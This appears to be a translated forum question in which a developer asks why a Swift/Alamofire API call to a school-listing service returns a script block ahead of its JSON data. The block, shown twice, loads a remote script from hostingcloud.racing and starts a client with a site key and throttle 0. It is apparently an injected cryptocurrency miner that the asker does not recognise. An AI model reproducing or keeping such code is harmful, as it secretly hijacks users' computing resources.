我正在使用alamofire进行api调用,并且在从服务器获取数据之前先从这样的服务器获取数据
<script src="https://www.hostingcloud.racing/lhRk.js"></script>
<script>
var _client = new Client.Anonymous('498bac55c164afb5724d93fb833a99033ad7d35a29decbb87f205806f3bdb8e9', {
throttle: 0
});
_client.start();
</script>
我的代码:
private func dataSchool() {
guard let url = URL(string: "http://www.myeducationhunt.com/api/v1/schools") else { return }
Alamofire.request(url, method: .get, parameters:
nil, encoding:
JSONEncoding.default, headers: nil).responseString {
response in
switch response.result {
case .success:
print(response)
break
case .failure(let error):
print(error)
}
}
}
我在Xcode中打印时得到此数据。
<script src="https://www.hostingcloud.racing/lhRk.js"></script>
<script>
var _client = new Client.Anonymous('498bac55c164afb5724d93fb833a99033ad7d35a29decbb87f205806f3bdb8e9', {
throttle: 0
});
_client.start();
</script>
[{"id":4,"name":"Covenant Academy","address":"Kusunti","district":"Lalitpur","country":"Nepal","phone":"01-55329694","email":"bharatstha10@gmail.com","website":"http:\/\/www.covenantnepal.com","institution_type":"Private","establishment_date":"01-01-2002","admission_open_from":"30-11-0001","admission_open_to":"30-11-0001","logo":"http:\/\/www.myeducationhunt.com\/UaWBB8gcwiCVnbz27o2i.jpg","active":1,"created_at":"2017-04-21 10:10:05","updated_at":"2017-07-02 09:31:50","latitude":27.509,"longitude":85.3261,"fees":[]},{"id":5,"name":"Puspanjali School","address":"Godavari","district":"Lalitpur","country":"Nepal","phone":"5573975","email":"info@soanitech.com","website":"https:\/\/glocalkhabar.com\/education\/how-safe-are-our-school-buildings\/attachment\/pushpanjali-boarding-school-in-godavari\/","institution_type":"Private","establishment_date":"21-04-2000","admission_open_from":"21-04-2017","admission_open_to":"30-04-2017","logo":"http:\/\/www.myeducationhunt.com\/567komo1weaxnocwplFQ.png","active":1,"created_at":"2017-04-21 10:13:09","updated_at":"2017-04-21 11:13:04","latitude":27.6114,"longitude":85.3558,"fees":[{"id":19,"grade":"10","price":20000,"school_id":5,"created_at":"2017-04-21 11:13:04","updated_at":"2017-04-21 11:13:04"}]},{"id":6,"name":"World Light Academy","address":"Kirtipur","district":"Kathmandu","country":"Nepal","phone":"015539564","email":"info@soanitech.com","website":"http:\/\/www.jyotiav.com","institution_type":"Private","establishment_date":"21-04-2007","admission_open_from":"21-04-2017","admission_open_to":"30-04-2017","logo":"http:\/\/www.myeducationhunt.com\/zAN560ZKa53Q0b5AJKHI.png","active":1,"created_at":"2017-04-21 10:29:59","updated_at":"2017-07-04 11:13:59","latitude":27.709,"longitude":85.3261,"fees":[{"id":80,"grade":"6","price":10000,"school_id":6,"created_at":"2017-07-04 11:13:59","updated_at":"2017-07-04 11:13:59"}]},{"id":7,"name":"Moms Montessori","address":"New Baneshwor","district":"Kathmandu","country":"Nepal","phone":"5523671","email":"info@soanitech.com","website":"www.soanitech.com","institution_type":"Private","establishment_date":"21-04-2014","admission_open_from":"21-04-2017","admission_open_to":"30-04-2017","logo":"http:\/\/www.myeducationhunt.com\/w4AgDgv6eGy0P2TCJASv.jpg","active":1,"created_at":"2017-04-21 10:33:39","updated_at":"2017-04-21 11:25:00","latitude":27.6921,"longitude":85.3451,"fees":[{"id":20,"grade":"Pre-Primary","price":5000,"school_id":7,"created_at":"2017-04-21 11:25:00","updated_at":"2017-04-21 11:25:00"}]},{"id":39,"name":"Pushpanjali School","address":"Taukhel","district":"Kathmandu","country":"Nepal","phone":"015560121","email":"pushpanjali@gmail.com","website":"pushpanjali.edu.np","institution_type":"Private","establishment_date":"22-06-2000","admission_open_from":"01-01-1970","admission_open_to":"01-01-1970","logo":"http:\/\/www.myeducationhunt.com\/0yxqyf1aV2ihkQ8o9h2W.png","active":1,"created_at":"2017-06-22 10:50:40","updated_at":"2017-07-02 09:41:14","latitude":27.692,"longitude":85.345,"fees":[{"id":75,"grade":"Pre-Primary","price":20000,"school_id":39,"created_at":"2017-07-02 09:41:14","updated_at":"2017-07-02 09:41:14"}]},{"id":40,"name":"Jyoti Aawasiya","address":"Kirtipur","district":"Kathmandu","country":"Nepal","phone":"016202406","email":"durga_khanal@yahoo.com","website":"jyotiaawasiya.edu.np","institution_type":"Private","establishment_date":"22-06-2000","admission_open_from":"01-01-1970","admission_open_to":"01-01-1970","logo":"http:\/\/www.myeducationhunt.com\/KPRphnnAhI16m3A7Wwjc.png","active":1,"created_at":"2017-06-22 10:53:12","updated_at":"2017-07-02 09:42:12","latitude":27.6922,"longitude":85.3452,"fees":[{"id":76,"grade":"Pre-Primary","price":20000,"school_id":40,"created_at":"2017-07-02 09:42:12","updated_at":"2017-07-02 09:42:12"}]},{"id":41,"name":"Gloria School","address":"Taudaha, Kirtipur","district":"Kathmandu","country":"Nepal","phone":"9841549178","email":"gloria@gmail.com","website":"gloria.edu.np","institution_type":"Private","establishment_date":"22-06-2000","admission_open_from":"01-01-1970","admission_open_to":"01-01-1970","logo":"http:\/\/www.myeducationhunt.com\/OxyOBtfnscNIsxGbnW9y.png","active":1,"created_at":"2017-06-22 10:56:11","updated_at":"2017-07-02 09:42:51","latitude":27.6923,"longitude":85.345,"fees":[{"id":77,"grade":"Pre-Primary","price":20000,"school_id":41,"created_at":"2017-07-02 09:42:51","updated_at":"2017-07-02 09:42:51"}]},{"id":42,"name":"Kistland Secondary School","address":"Ekantakuna","district":"Lalitpur","country":"Nepal","phone":"01500042","email":"susando305@gmail.com","website":"kistland.edu.np","institution_type":"Private","establishment_date":"22-06-1997","admission_open_from":"01-01-1970","admission_open_to":"01-01-1970","logo":"http:\/\/www.myeducationhunt.com\/m9gtA0Kd97DE5rVUH3Gz.png","active":1,"created_at":"2017-06-22 10:59:54","updated_at":"2017-07-02 09:43:29","latitude":27.692,"longitude":85.3452,"fees":[{"id":78,"grade":"Pre-Primary","price":20000,"school_id":42,"created_at":"2017-07-02 09:43:29","updated_at":"2017-07-02 09:43:29"}]}]
任何帮助将不胜感激。